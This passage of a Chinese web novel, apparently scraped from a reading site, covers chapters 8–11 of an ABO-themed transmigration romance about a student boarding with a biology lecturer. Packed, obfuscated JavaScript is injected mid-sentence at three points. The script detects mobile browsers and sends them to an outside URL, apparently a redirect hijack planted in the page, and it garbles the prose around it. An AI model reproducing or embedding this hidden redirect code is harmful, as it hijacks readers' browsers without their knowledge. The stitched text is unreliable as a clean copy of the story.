半个小时后,潭知行出现在赵老师的办公室。池燃在一旁靠墙站着,看到潭知行,朝他耸了耸肩,表示自己很无辜。 “赵老师,你好。我是池燃的……叔叔。”潭知行走上前。 “你好你好。”赵莉莉起身,随即递给他一张卷子,“您看一下,这是池燃今天交上来的生物卷子,生物老师找我了,想让我跟您谈谈,了解下情况。” 潭知行接过来,疑惑道,“怎么了吗?” 直到下一秒,他看到池燃在卷子上赫然写着Alpha和Omega的字样。 8. 第 8 章 潭知行:“……” 赵莉莉担忧道:“他第一天转学来,我也不清楚他以前是什么情况,所以跟您了解一下,孩子是不是……” 有些妄想症方面的问题? 潭知行将卷子折起,勉强笑了下,“不好意思老师,可能他最近看小说看多了,就爱乱写这些,我回去一定教育他。” 赵莉莉恍然大悟似的哦了一声,“好好,下次一定不要再这样了。” 潭知行:“嗯。” 他看向池燃,“过来。” “跟老师保证。” 池燃蔫头蔫脑地走过来,虽不情愿,但还得认错,“对不起老师,以后不会了。” 赵莉莉没为难他,点头道,“好,我也跟生物老师说一下。” 她笑笑,“哎呀,这上午可把生物老师气得够呛。” 潭知行附和着微笑。 说实话,同为生物老师,他能理解。 “对了。”赵莉莉又说,“池燃这个头发,不符合校规,还得麻烦您带他去染黑。” 池燃一听,立刻用求救的目光看潭知行。 跟她说啊,说我本来就是金发,说啊! 没想到潭知行直接答应下来了,“好,没问题。” 池燃狠狠瞪他一眼。 六点放学,池燃气呼呼地坐上车,把车门一甩,对潭知行很硬气,“我不要染发。” 潭知行边驶出停车位,边说,“我有一家熟悉的理发店,去那儿吧。” “我说我不要染发!”池燃气道,“我本来就是金发,凭什么要染?” “忍一年,高考完再染回去。”潭知行说。 池燃不干,“那不一样!” 他身上能留下的,与他妈妈相关的印迹,除了瞳孔颜色,就是这一头金发。 潭知行顿了几秒,看向他,“那……戴个假发?” 池燃:? 他脑子转了转,“不…不是不行。” 潭知行叹口气,用蓝牙拨通一个电话,开门见山地问对方,“你那儿有男士假发吗?黑发。” 不知道对方说了什么,潭知行沉了口气,看起来更无奈了,“我没病,问你有没有。” “行,一会儿到。” 半个小时后,池燃被潭知行领进了一家装修尤为高档精致的理发店。虽然门脸不大,却足足有三层楼,灯火通明,一进门,屋里除了客人,光理发师就站了二十多个。 池燃有点咂舌,一个理发店搞这么隆重干什么? 一个染了紫毛飞机头的男人热情地朝他们走过来,向潭知行张开怀抱,“稀客啊稀客,没等我找你喝酒,你倒自己来了。” 潭知行闪开韩闻烁的拥抱,池燃便露了头出来。 “哟。”韩闻烁一见池燃的发色,职业病就犯了,“这金色很正啊,在哪儿做的?” 池燃咬牙,“我天生的。” “给他做个黑发。”潭知行说,“上学用。” 韩闻烁古怪地打量打量他俩,片刻后道,“行,上楼吧。” 三楼是VIP室,单独隔出来了几间理发区,宽敞安静又摆满了零食小吃。池燃被安排坐到椅子上,韩闻烁叫了个人来,给他介绍道,“这可是我们这儿最牛逼的Tony,说吧,想要什么发型。” 池燃:“和我原来发型差不多就行。” “包的包的。” 韩闻烁安排完,拉着潭知行坐到角落的沙发,低声问,“哎,这谁啊?” 潭知行:“……朋友家小孩。” 韩闻烁哦了声,又问,“那你带着来理发干嘛?” “寄宿在我这儿了。” 韩闻烁:“哦哦。” 池燃坐下还没两分钟,理发师刚开始动剪刀,他就叫潭知行,“潭知行,我渴了,给我倒杯水。” 潭知行起身,熟门熟路地去拿一次性纸杯,从饮水机里接了水,走去递给池燃。 池燃继续使唤他,“那儿,那儿还有薯片,帮我开一袋。” 潭知行照做。 “还要别的吗?”他把薯片拿给池燃。 池燃想了想说,“暂时没有了。” 潭知行:“嗯,有事再叫我。” 池燃很满意,从袍子下方小幅度地朝他摆手,“去吧去吧。” 潭知行坐回沙发上,看着韩闻烁下巴都要掉了。 “怎么了?”他问。 “我去,你……”韩闻烁好一会儿才回过神来,“你有把柄在他手里啊?” 他和潭知行从大学认识到现在,就没见过谁能这么支使潭知行。而且潭知行还照做了?他刚刚是出幻觉了吗? 潭知行:“……说人话。” “你俩到底什么关系?”韩闻烁察觉出不对劲来。 “房主和寄宿小孩。” “你骗鬼呢?” 潭知行无语地看他一眼。 “他让你干什么你就干什么啊?”韩闻烁不服,“我平时让你跟我出来喝酒你怎么没这么听话?” 潭知行望向镜子里的池燃,反问,“不然呢?他刚十八岁。” 韩闻烁撇撇嘴,起了一身鸡皮疙瘩,吐槽道,“我十八岁的时候没见你对我这么好。” 潭知行:“……” 第二天,池燃就顶着这顶精修过的黑发去上学了。换了发色,显得他更乖了些。 白骁看着他摇摇头,咂咂嘴道,“兄弟,我还是更喜欢你玩世不恭的样子。” 池燃扬手就要打他,被白骁抓住手腕,“哎,别以为你对我有一鞋之恩我就不敢动你啊,我们校霸不是好惹的。” 池燃切了一声,甩开他的手,坐回位子上。 生物课代表这会儿捧着一沓卷子进了门,站到讲台上,朝大家问,“谁来帮我发一下昨天的卷子?” 白骁一个箭步冲上去,“我来我来!” 池燃不懂他,发个卷子有什么好激动的。上赶着给自己找活干,还校霸呢。 白骁捧着一沓卷子在屋里转圈找人,似乎一点也不嫌麻烦,“你的,你的,何潇潇你的……” 不一会儿,白骁走到他旁边,伸长了胳膊把卷子递过去,“季明野,你的卷子。” 季明野正在看书,抬眼接过来,“谢谢。” 白骁抿抿嘴,“不客气。” 池燃:? 干嘛呢?发个卷子这么客气。 白骁转头继续给别人发卷子,突然大笑起来,“哈哈哈哈哈哈陈一铭,你看你这选择题做的,就对一个。” 陈一铭扯过卷子,“行了骁哥,咱俩半斤八两。” “谁跟你——”白骁刚想炫耀一下自己抄来的成绩,下一秒看到自己的卷子突然就笑不出来了。 选择题全错。 “池燃!”白骁瞬间蹦起来,“我杀了你!!” 池燃放下笔就跑,“是你自己要抄的!” 白骁一阵风似的追他出门,“你说你成绩很好的!你骗老子!” 池燃想发誓他不是故意的。 有本事,考他abo生物知识啊! -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203339|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “教我。” 晚上,家里,池燃把生物卷子扔给潭知行,“你不是什么大学教授吗?不是理科很好吗?你爸妈也说让你辅导我学习了。” 潭知行视线从屏幕上的文献移开片刻,落向那张被划满红叉的卷子,“我是生物学老师。” 他说,“主攻分子神经生物学方向。” 池燃听不懂什么分子又神经的,他叉起腰来,“那正好,高中生物对你来说肯定没问题。” 潭知行沉口气。 他放不下自己看了一半的文献,可池燃显然也不会放过他。 池燃又指指卷子,“你先把这卷子给我讲了吧,老师说明天要提问。” 潭知行无奈合上电脑,“去搬椅子来。” 池燃应了声,很快拽了把椅子来,在潭知行旁边坐下。 潭知行看着他卷子上一会儿Alpha一会儿Omega的,不禁有些头疼,不知道该从何下手。 他思索了下,问,“你原来都学了些什么生物知识?” 池燃想了想说,“Alpha性染色体,Omega生殖腔结构,信息素作用原理之类的。” 潭知行:“……” “先把你之前学的所有都忘了。” “哦。”池燃应得很干脆,但两秒后又说,“有点困难。” 但这也不能怪他啊。 潭知行从第一道选择题开始讲起,深入浅出,确保每个知识点池燃都了解。不一会儿池燃就发现其实这个世界的生物知识和他学过的大差不差,就是在遗传方面有很大出入。 那这么看来他高考还有希望。 “等等等等。”他叫住潭知行,问,“常染色体是什么?” 潭知行顿了两秒,反问,“你不知道常染色体是什么?” 池燃眨眨眼,也反问,“不然我问你干嘛?” 潭知行深吸一口气,“简单来说,就是和性别决定无关的染色体。” 池燃半知半解地哦了声。 和性别无关的?他们abo世界比较简单,管它什么生物,连蚂蚁都得分出个abo来。 他琢磨了下问,“是和Beta染色体差不多的意思吗?” 潭知行觉得自己要疯了。 Beta染色体又是什么? “我说了,把你之前学的都忘掉。” 池燃撇撇嘴,小声吐槽,“我也想……” “哎。”他怼怼潭知行的胳膊,开始发散思维,“你说你要是生在abo世界,会是什么性别?” 潭知行沉口气,很无聊的问题。 “看下一道题。” 池燃思绪已经飘了。 他摸着下巴,道,“当Alpha吧,Omega到了30岁还没找到对象是会被人嫌弃的。” 潭知行:? 他扔下笔,脸上难得露出愠气。 怎么,30岁还没对象是什么奇耻大辱吗? 他萌生出了想把池燃吊起来打一顿的想法。 池燃看看他的脸色,突然反应过来,连忙摆手,“哦哦哦我不是说你没人要。” 潭知行咬咬牙,劝自己平心静气。 “我说的是假如,假如。”池燃为自己辩解,“而且你又不是Omega,到了30岁各项功能又不会退化,没影响的。” 潭知行眯了下眼睛,问,“各项功能?什么功能?” “额。”池燃顿了顿,“就,生/殖功能啊。” 他想了想,认真问道,“你不会吧?” 9. 第 9 章 潭知行一下把卷子推给池燃,起身走了。 池燃瞬间摸不到头脑。 “喂!”他看着潭知行走去厨房倒水,扯着嗓子喊,“你还讲不讲了!” 潭知行急什么啊? 他只是秉着求真的原则问一下,这也是个很重要的知识点啊。 潭知行给自己灌下一整杯凉水,才稍稍压下点火气。真不知道这个年纪的小男生脑子里都在想什么。 池燃在那头举着手机威胁他,“你不讲我可给你爸妈打电话了!” 潭知行揉揉太阳穴,认命道,“讲。” 很快一个多小时过去,潭知行把卷子讲完,池燃只听懂个七七八八,最后在卷子角落点点,“老师要家长签字。” 潭知行无奈拿起笔,在这张只有36分的卷子上写下自己的名字。 池燃转头又从书包里拎出一张卷子,“还有这张也签一下,这是白骁的。” 潭知行疑惑地看向他。 “他爸妈不是出差了吗?”池燃解释道,“他不好意思拿回去给你爸签字,就让我带回来了。” 潭知行:“……” “你签你爸的名字。”池燃说,“记得模仿一下笔迹。” 潭知行没想到自己有一天会模仿潭枫签字,上学的时候都没干过的事,居然会在这种情况下达成。 “好了好了。”池燃满意地把两张卷子都收起来。 “没别的事了?” “没了没了。”池燃伸了个懒腰,朝墙上的钟瞟了眼,都九点半了。 他站起身,“行了,我要睡觉了,你忙吧。” 潭知行刚松下一口气,池燃又突然扭头看向他,“对了。” 潭知行单手扶了下眼镜,“又怎么?” “嗯……”池燃摸摸后脑勺,看起来有点不好意思,“我能问一下,你用的香水是哪款吗?” 从刚刚和潭知行坐到一起的时候他就闻到了,和上次易感期时他闻到的味道一样,一种类似花香的味道,他形容不上来。加上现在他不在易感期,所以感受到的味道很淡。 潭知行疑惑两秒,“我今天没用香水。” 池燃:“怎么可能?” “那你平时用哪款?给我闻闻。” 潭知行领着池燃来到衣帽间,从饰品柜下的抽屉里拿出个黑色小瓶子,“平时用的最多的是这个。” 他对着空气轻轻喷了下。 池燃猛猛嗅了嗅,随后摇头,“不是这个味道。” 奇了怪了…… 那他闻到的是什么味道? 他半信半疑地看向潭知行,“你不会真是Omega吧?” 潭知行:“……” 池燃突然想到一种可能,一拍手激动道,“有那种劣质Omega的!” “其实我根本没有穿越对不对?你骗我的!” 潭知行把他推出衣帽间,“洗洗睡吧。” - 下课铃刚响,池燃放下笔,大大地伸了个懒腰。 这物理老师讲课未免太过催眠,害得他一整节课都听得浑浑噩噩的,笔记都没记全。 池燃朝旁边的人瞥一眼,发现季明野坐得端端正正的,正把他的笔记本收起来,上面密密麻麻都是字。 池燃犹豫了下,“那个...同桌,你笔记能借我看一眼吗?” 季明野没说话,看他一眼,随后把笔记本递过来。 池燃开心一笑,“谢谢,谢谢同桌。” 还行,他这同桌没他想象中那么不通情理。 “哎哎哎。”白骁突然拿着笔记本跑到他面前,硬生生占据他半张桌子,“我也没记全,给我也抄抄。” 池燃嫌弃他,怼了他一把,“去,自己借笔记去。” “不。”白骁理直气壮,“我就喜欢记这个笔记。” 池燃无语,勉强把本子分过去一半,“你轻点拽,别把人家本子弄坏了。” “我知道我知道。” 两个圆滚滚毛茸茸的脑袋凑到一起,池燃想起什么似的,突然在空气中嗅了嗅。 没味道啊。 池燃又不动声色地凑近了点,使劲一吸鼻子。 “干嘛?”白骁问,“你感冒啊。” 池燃:“......额,没有。” 还是没有任何味道。 真是奇怪。 如果他能闻到潭知行的味道,那为什么闻不到其他人的? 潭知行有什么特殊的? 池燃不死心,又悄悄朝季明野的方向凑过去,为了不被发现,小幅度地呼吸。 被白骁拎着衣领一下拽了回来,“你离人家那么近干什么?” 池燃瞪他一眼,“你管我?” 季明野偏头看向他们,主动问,“有哪里看不懂吗?” “我没有。”池燃推了把白骁,问,“你呢?” 白骁一手摸着后颈,把头低得快要钻到桌子底下去,小声含糊道,“嗯嗯嗯我也没有。” 池燃古怪地看看他。 怎么了这是?突然吃哑药了?好像一碰到和季明野有关的事情,白骁就变得特别奇怪...... “去不去超市买点吃的?”白骁笔记抄到一半,突然问池燃。 池燃没抬头,写得飞快,“去,你自己去,顺便帮我带个薯片和巧克力牛奶回来。” 白骁撇撇嘴,切了一声,“你还真会使唤人啊。” 池燃得意地嗯了一声。 “同桌,你要不要吃点什么?”他主动问季明野。 “我......”季明野犹豫了下,看向白骁,“马上就上课了,现在去来得及吗?” 还没等白骁回话,池燃先道,“反正下节课是自习,就让他去呗。” 白骁暗暗瞪了眼池燃。 季明野这才对白骁道,“那麻烦你帮我买个面包吧。” 白骁一愣,问,“为啥?” “还有半个多小时就吃午饭了。” 池燃边抄笔记边怼他,“人家让你买你就买,问题那么多。” “中午学生会要开会,我没时间去食堂吃午饭。”季明野解释道。 “哦......”白骁把笔一撂,立刻起身,“行,我这就去。” 池燃掀起眼皮看白骁一眼,心想这会儿倒是听话。 他抄完笔记,把本子合上放回季明野桌子上,“谢啦同桌。” 季明野:“没事。” 白骁急了,“我还没抄完呢。” 池燃朝他挥挥手,“一会儿我的借你抄,别忘了我的巧克力牛奶。” 白骁:“......” 上课铃响,陈一铭刚捧着篮球回来,转头就被白骁拖了出去。 “走,跟我去趟超市。” 池燃低头在书桌里翻一会儿要写的数学卷子,正好瞧见手机屏幕亮了,弹出条消息来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203340|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他拿过手机,发现是潭知行找他。 潭知行:「问问白骁晚上能不能来家里吃饭。」 池燃疑惑,回:「找他干嘛?」 潭知行:「我要加班,不能陪你吃饭。」 - “饿死了。”白骁像回到自己家似的,一进门就把书包往地上一甩,盘腿坐到地毯上,“吃什么,订外卖吧。” 池燃走过去,踢了脚他的书包,“别乱放。” 这些天潭知行已经教育他无数次了,让他回家把书包放回房间里。 白骁白他一眼,把书包捧回怀里。 “吃炸鸡吗,还是麻辣烫?” “都行。”池燃说着,往书房走去。 关着灯,潭知行还真没回来。 “嗯...米线?”白骁刷着外卖软件问,“披萨?” “都行。”池燃坐回茶几边,从书包里拿出两本练习册。 白骁啧了一声,不满道,“你这人怎么这么难伺候?” 池燃也突然有点烦。 不就是让白骁决定一下吃什么吗,有这么费劲? 潭知行就不需要。 他正准备跟白骁吵两句,门口传来开门的声音。 池燃瞬间弹起来,跑过去,“潭知行!” 结果却跟紫毛大叔对上眼了。 “哎。”韩闻烁愣了下,“你不是那天......” 他回想起潭知行说的话,哦哦哦了几声,“我说呢,你怎么会在他家,你在这儿寄宿对吧?” 池燃呆呆地点了下头。 “潭知行在家吗?”韩闻烁问。 “不在。”池燃说,“他说今天加班。” 韩闻烁吸了口气,叉起腰,“怪不得呢,我给他打那么多电话都不接。” “谁啊?”白骁扯着嗓子问。 见池燃半天不回来,他也走去玄关。 韩闻烁看见白骁又是一愣,甚至有点懵,“你也在这儿寄宿?” 潭知行什么时候有搞寄宿家庭的癖好了?居然弄这么多小孩在家。 “不是啊。”白骁说,“我是他同学。” “你找潭哥?” “是啊。”韩闻烁点头。 白骁哦了声,“那你跟他说吧。” 他随手一指池燃,“他是他男朋友。” 韩闻烁:?!!! 他眼睛瞪得老大,看向池燃,声音也拔高,“真的假的?!” 池燃纠结了下。 既然潭知行都说他们是假扮情侣的关系了,而且他在潭知行父母面前也是这么承认的,那做戏就得做全套吧? 他点头,“对。” 韩闻烁一瞬间换了副嘴脸,对池燃笑眯眯的,看着恨不得要把池燃供起来。 “吃饭了吗小朋友们?” “没有。”池燃说。 白骁倒是大方,“我俩正要订外卖,潭哥说他报销,你一起吗?” 韩闻烁一笑,“那哥哥请你俩去个好地方吧。” 晚上十点半,潭知行出了实验室,回到办公室换好衣服准备下班。 他拿起手机检查未读消息,意外地却只有一条。 还以为一晚上不在家池燃会用消息轰炸他,看起来和白骁相处得不错。 潭知行从置顶往下滑,看到韩闻烁发来的消息,瞬间头疼。 韩闻烁:「我把你小男朋友拐走了。」 10. 第 10 章 韩闻烁什么品行,潭知行再了解不过了。 读完博回国就把十年学识一扔,转头就开了家理发店的人,每次找他最大的事情就是喝酒。 至于韩闻烁说的“拐走”,潭知行想也不用想,就知道他们去了哪儿。 ‘花海''是韩闻烁从上本科起就常去的酒吧,开在大学城后街,这么年多生意依旧火爆。那时候韩闻烁隔三差五就掳上潭知行去喝酒,对韩闻烁来说,去花海就和回家一样。 潭知行发动车子,接上蓝牙,给韩闻烁打电话。骚气的铃声反复响着,就是没人接。 潭知行无奈挂下电话,提高了些车速。加班已经够累了,韩闻烁还给他惹事。 晚上十一点多,花海正是热闹时候。灯光交错闪耀,DJ音乐声音震耳。 潭知行打着领带,穿着一身西装大衣,正气而严肃,显得和这里格格不入。他阔步迈入舞池,精准地在人群里拽住韩闻烁的后衣领。 “哎?”韩闻烁刚想发火,转身一见来人又乐了,“你来了啊。” 潭知行将他拽到吧台旁,韩闻烁也没反抗,顺势靠住,点了根烟。 “他们人呢?”潭知行冷着脸问。 韩闻烁喝得微醺,从上到下打量潭知行的打扮,笑得很放肆,“哈哈哈哈哈你就穿这身来酒吧啊,不知道的以为你玩cosplay呢。” 潭知行沉口气。 知道韩闻烁的行事作风,他已经懒得发火,“我刚下班,他们人呢?” 韩闻烁给他望不远处的卡座指了指,“喏,那呢。” 潭知行顺着他指的方向看过去,只见桌上堆满了酒瓶,两个小孩一个趴着一个仰靠在沙发上,显然已经喝懵了。韩闻烁也是心大,把俩小孩喝倒了放在那儿不管,自己跑去跳舞。 还没等潭知行责问,韩闻烁先一步解释道,“那些酒都是我喝的啊,我就请他俩一人喝了杯特调,我可没灌他们。” 潭知行:“……” “他们吃晚饭了吗?” “吃了。”韩闻烁拔高声音,似乎想向潭知行证明什么,“来之前我带他俩吃的披萨呢。” 潭知行点头,刚迈开步子,又被韩闻烁抓住,“哎哎哎,别走,我还没问你呢。” “怎么?”潭知行朝他看过来。 “你什么时候谈的对象啊,我竟然不知道。”韩闻烁咂了口烟。 “……假的。”潭知行说,“骗我爸妈,你别跟他们说。” 韩闻烁长长地哦了声,摸着下巴,一阵若有所思,“他们催你结婚了?” “没有。” “那你找个假男朋友干什么啊?”韩闻烁不解,“还让他住你家。” 这个就说来话长了。 潭知行不想解释那么多,只回了五个字,“做戏做全套。” “那你假戏真做得了。”韩闻烁说,“我看那小孩挺适合你的,古灵精怪。” 他指尖夹着烟,点点潭知行,“你这种闷骚怪啊,就得找这款治。” 潭知行有些无奈,动了动嘴角,但没说话。 “又在心里骂我了吧?”韩闻烁一副很懂的样子,“要我说啊,你就把心放回肚子里,谈个正常恋爱。按你那个脑子的活跃程度,你遗传不了你妈。你肯定——” “行了。” 韩闻烁还想说什么,却被潭知行打断,“你也少喝点,我带他们回去了。” “行行行。”韩闻烁朝他摆手,“带他们回去吧,下次叫你出来喝酒你可必须得来啊。” 潭知行嗯了一声转身,“看我忙不忙吧。” 白骁四仰八叉地靠在沙发上,一副睡死了的模样。潭知行试着晃晃他肩膀,根本没有反应。 潭知行站在原地,掏出手机给韩闻烁打电话。 电话没两秒被接起来,对面很不耐烦,“干嘛!你走两步过来能死吗?” 潭知行:“过来,帮我抬人。” 韩闻烁:“……” “我草,死小子吃的什么长这么壮。”把白骁抗在肩上的时候,韩闻烁都有点后悔带他俩出来了。 潭知行把车钥匙塞他手里,“车就在门口。” “好好好知道了。”韩闻烁说,“你抬你小男朋友吧。” 池燃垫着一只胳膊,趴在桌子上,面色泛红,看起来也睡得很香。但潭知行刚一动他,他就睁开了眼,低低哼了声。 “醒了?”潭知行有点意外,没想到酒量还比白骁强点,“能自己走吗?” 池燃睫毛长而密,他迷迷糊糊微睁开眼,眼前是一片阴影,连人是谁都没看清,没两秒,眼睛又合上了。 潭知行:“……” 就这样还敢跟人出来喝酒,白骁是被人卖了都不知道,池燃属于被人领走还要乖乖跟着的。 而且不是已经给他买了厚外套,这么晚出门,为什么不穿? 潭知行无奈解下自己的大衣,罩在池燃身上,随后扯起他一只胳膊,搭到自己肩上,矮下身将池燃上半身托了起来。 “能走吗?”潭知行问。 肩头上的人不答话。 看来是不行。 潭知行犹豫了下,随之放弃这个方式。他转而将大衣盖在池燃身上,打横将池燃抱起,朝外走去。 池燃不重,窝在他怀里像只猫一样,很乖,脑袋无意识地在他胸膛蹭了蹭,似乎是在汲取温度,又像是想找个舒服的位置睡觉。 潭知行感到自己突兀的心跳,但理智很快便将这点莫名的情绪掩盖下去。 “哟。”韩闻烁见他出来,替他打开车门,朝他吹了个口哨,“公主抱,很甜蜜嘛。” 潭知行没理,弯腰将池燃放进车里,给他系上安全带。 “走了。”他道。 韩闻烁嗯了声,片刻后又道,“我说真的,你考虑考虑。” - 听到有人叫自己名字,池燃在一米八的床上翻了个面,从左滚到右。 “七点了,再不起床要迟到了。”潭知行的声音钻进他耳朵里。 骗人。 池燃闭着眼睛在床上摸手机,他每天的闹钟都是六点半,明明还没响。 摸到手机,费力睁开一只眼睛,池燃一下从床上弹了起来。 “我靠!”他瞬间翻身下床,一溜烟似的跑进卫生间,“你怎么不叫我!” 潭知行没多说,转身离开他房门,“洗漱完出来吃饭。” 白骁起来有一会儿了,知道自己昨天给潭知行添了麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203341|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这会儿正坐在餐桌前乖乖吃饭,还主动给潭知行拉椅子,“潭哥,你坐。” 潭知行:“嗯。” 他看了眼时间,“你要是怕迟到就先走,不用等池燃,他可能还得收拾一会儿。” “行吗?”白骁吞下一大口面包,说着就扯起地上的书包带子,“那我可先走了。” “去吧。” “那……”白骁还是犹豫了下,“潭哥,你帮我和池燃解释下。” “知道了。” “好嘞。”白骁背上书包冲到门口,“拜拜潭哥!” 白骁刚一关上门,池燃听到动静,慌慌张张从卧室里追出来,卫衣衣领都没穿正,领口露出一大片白皙皮肤,冲着门口喊,“哎!你讲不讲义气!” 但白骁已经听不到了。 池燃切了一声,带着怨气坐到餐桌前。 “吃饭吧。”潭知行道,“吃完我送你,应该不至于迟到。” 池燃哦了声,揪了下勒住他脖子的衣领,端起杯子喝牛奶。 “有没有不舒服?”潭知行问。 “什么啊?”池燃不理解。 “昨天喝了酒,有没有觉得哪里难受?” 池燃摇头,“没有。” “昨天你把我们带回来的?”他想了下问。 潭知行不轻不重地嗯了声,随后道,“以后少去酒吧。” 池燃微微皱眉,问,“为什么?” 潭知行:“你酒量不好。” 两秒后,他补充道,“喝多了自己回不了家。” 池燃闻言默默握紧杯子。 潭知行这是嫌他麻烦?他又没求潭知行来接他...... “你管很多。”池燃不满道。 潭知行:“……” 确实。 潭知行静下心来反思自己。 池燃喝不喝多,回不回得来家,在酒吧会不会遇到些什么乱七八糟的人,应该和他没什么关系。 “对了。”池燃又说,“我那件白色卫衣外套昨天弄丢了。” “新买的那件?” 池燃点头,“吃完饭落在餐厅了,回去没找到。” “你再给我买一件。”他语气命令似的,“要一模一样的。” 潭知行无奈,“知道了。” “以后不要这么丢三落四。”他教育池燃,“临走前整理好自己的东西,丢了东西会很麻烦。” 池燃敏感的神经一下被“麻烦”两个字戳痛。 他忍了忍,没忍住,语气冲了几分,“潭知行,你很吵。” 从前哪有人敢跟他说这么多? 去酒吧喝多了能怎么样?哪怕疯到半夜,司机也会在门外等他。丢了东西又能怎么样?随便派个人再去买新的就好了。 没人敢嫌他麻烦。 潭知行和池燃对视着,面前的小孩瞪圆了眼,淡绿色的眸子里透着股怒气,一副被他惹毛了的样子。 可潭知行不知道问题出在哪里,只得耐下心来,声音温和,“池燃,我在和你沟通。” “这叫沟通吗?” 池燃不知道被撅到了哪根毛,一下炸了。 他撂下筷子,音调都升高,“你就是觉得我麻烦!” 11. 第 11 章 潭知行眉眼微抬,不懂池燃从哪里得出的这个结论。 如果他会嫌池燃麻烦,根本就不会答应池燃一次又一次无理的要求。 池燃咬了咬下唇,觉得自己已经看透了潭知行。 “不吃了。”他猛地起身,狠狠道,“也不用你送,我自己走。” “池燃。” 潭知行叫他,但池燃头也不回。 潭知行:“你没拿书包。” 池燃脚下一顿,径直拐了个弯回房间,没几秒又气冲冲地拎着书包出来了。 潭知行见状无奈,又提醒他,“外套。” 池燃:“……” 他好像真有点丢三落四的毛病。 但是为了跟潭知行置气,他像没听到似的,大步走到玄关换鞋,身上就穿着件薄卫衣和校服,显得整个人清薄得很。 “穿外套。”潭知行朝他看去,语气不自觉加重了几分。 池燃不回话,蹲下身系鞋带。 就会动嘴吗?池燃愤愤地想,不会去帮他把外套拿过来?看来也没什么诚意。 池燃故意放慢速度,认认真真将鞋带打了个蝴蝶结,但潭知行还是没有要动的意思。 池燃心一横,腾地站起身。 算了。他想,潭知行肯定是嫌他麻烦才不给他拿外套。 他挎好书包,推开门,回手甩上走了。 屋内恢复了往日的安静。 潭知行怔了两秒,微垂眉眼,食指无意识地敲着桌面,琢磨池燃的所作所为。 到底哪里出了问题? 半晌,他暂时搁置下这个问题,拿起手机给池燃的班主任发消息:「赵老师你好,池燃今天早上身体不舒服,可能晚到一会儿。」 池燃晚了十多分钟才进教室,本来都做好了要被罚站的准备,但赵莉莉见了他,竟朝他摆摆手,招呼他回座位上自习。 池燃纳闷,但也没多想,只觉得是赵莉莉今天心情好。 他快步走回座位,把书包扔到地上。他刚一坐下,白骁就从后面戳了他一下,小声问,“哎,怎么这么晚才来,潭哥没送你?” 池燃本就憋着气,白骁还真是哪壶不开提哪壶。 “你还好意思说。”他把书本甩到桌子上,压着怒气对白骁道,“都不等我,还是不是兄弟?” “我怕迟到嘛。”白骁不好意思地挠挠头,两秒后又疑惑道,“哎?潭哥没跟你说?我让他帮我给你解释了啊。” 池燃半晌没回话。 “咋了?”白骁探头过来,“你俩吵架了?” “白骁!”一根粉笔头从讲台上飞过来,正落他手边,“安静上自习!” 白骁一下缩回了头。 - 潭知行上午上完课,将课本和电脑送回办公室,正要去食堂吃饭,碰上和他一同出门的沈磊。沈磊跟他打了个招呼,“小潭,你也去食堂吗?” 潭知行微笑点头,“是。” 沈磊是与潭知行同院的教授,今年四十多岁,为人开朗,在同学们之间评价很高。潭知行在学校读本科的时候,还上过几次沈磊的课。 “那一起吧。”沈磊邀请他。 “好。” “最近开学感觉怎么样啊?”沈磊边下楼,边同他闲聊,“当老师,和当学生,对开学的感觉很不一样吧?” 潭知行笑着答,“是,开学这段时间还挺忙的。” “现在的学生越来越难带了。”沈磊感叹一声,“还是你们那时候好啊。” 潭知行低低嗯了声。 他想起沈磊成家多年,家庭美满,在家庭教育这方面应该颇有心得,犹豫下便问,“沈老师,如果……有个十七八岁的小男孩生气了,应该怎么办?” “啊?”沈磊一愣,看向他,“有学生投诉你?还是组里的学生耍脾气不干活?” “都不是。”潭知行道,“是……我一个朋友。” 沈磊露出意外的神色,“哦?你还有这么年轻的朋友?” 潭知行失笑,“是,差了十几岁,所以相处起来难免有摩擦。” 沈磊琢磨了下,道,“我女儿倒是刚十八,这个年纪的小孩啊,就是脾气大,心气高,青春期说不得,随便说两句都要跟你翻天。” 潭知行点头。 倒是很符合池燃的个性。 “那,该怎么办?”潭知行耐心请教。 沈磊叹口气,“我跟你嫂子就这么一个孩子,不是大事的话,就让着她呗。咱们做大人的,还能跟小孩真动气?要是遇上什么大是大非,再跟她讲道理。” 潭知行想了想,自认他也没跟池燃动气。况且,他还没让着池燃吗? “要是不听呢?”潭知行又问。 “那就先哄。”沈磊说,“小孩就是脾气大,先把脾气哄没了,才肯听你讲道理的。” 潭知行点了点头,“嗯……” 转下楼梯,潭知行默默叹了口气。 早知道,今天就不该让池燃不穿外衣出门。 下午开完会,潭知行去了趟商场。按池燃说的,去上次那家店,买了件一模一样的外套。路过书店,瞟到橱窗里的《青少年心理学》,潭知行没抵住“诱惑”,迈进店门。 